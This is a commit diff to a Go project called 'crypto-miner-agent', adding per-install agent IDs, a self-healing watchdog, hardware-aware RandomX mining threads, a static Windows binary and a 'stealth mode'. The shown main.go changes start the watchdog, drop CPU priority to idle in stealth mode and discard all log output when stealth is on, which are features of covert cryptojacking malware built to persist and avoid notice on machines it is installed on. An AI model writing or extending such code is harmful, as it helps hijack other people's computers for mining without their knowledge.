Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/main.go

@@ -1,6 +1,7 @@
 package main
 
 import (
+	"io"
 	"log"
 	"os"
 	"path/filepath"
@@ -8,6 +9,7 @@ import (
 	"crypto-miner-agent/client"
 	"crypto-miner-agent/config"
 	"crypto-miner-agent/deploy"
+	"crypto-miner-agent/stats"
 )
 
 func main() {
@@ -35,7 +37,16 @@ func main() {
 		return
 	}
 
-	if cfg.BackgroundMode() {
+	reporter := stats.NewReporter()
+	cfg = cfg.AdaptToSystem(reporter)
+
+	if installDir, err := cfg.InstallDirectory(); err == nil {
+		if id, err := deploy.LoadAgentID(installDir); err == nil {
+			cfg.AgentID = id
+		}
+	}
+
+	if cfg.BackgroundMode() || cfg.StealthMode {
 		cfg.CPUPriority = "idle"
 	}
 
@@ -43,8 +54,11 @@ func main() {
 		log.Printf("[agent] could not set CPU priority: %v", err)
 	}
 
-	log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
-		cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
+	deploy.StartWatchdog(cfg)
+
+	log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
+		cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
+		cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
 
 	agent := client.NewAgentClient(cfg)
 	if err := agent.Run(); err != nil {
@@ -52,7 +66,21 @@ func main() {
 	}
 }
 
+func shortID(id string) string {
+	if len(id) >= 8 {
+		return id[:8]
+	}
+	if id == "" {
+		return "pending"
+	}
+	return id
+}
+
 func setupLogging(cfg config.RuntimeConfig) {
+	if !cfg.FileLogging || cfg.StealthMode {
+		log.SetOutput(io.Discard)
+		return
+	}
 	if os.Getenv("MINER_LOG_FILE") != "" {
 		redirectLog(os.Getenv("MINER_LOG_FILE"))
 		return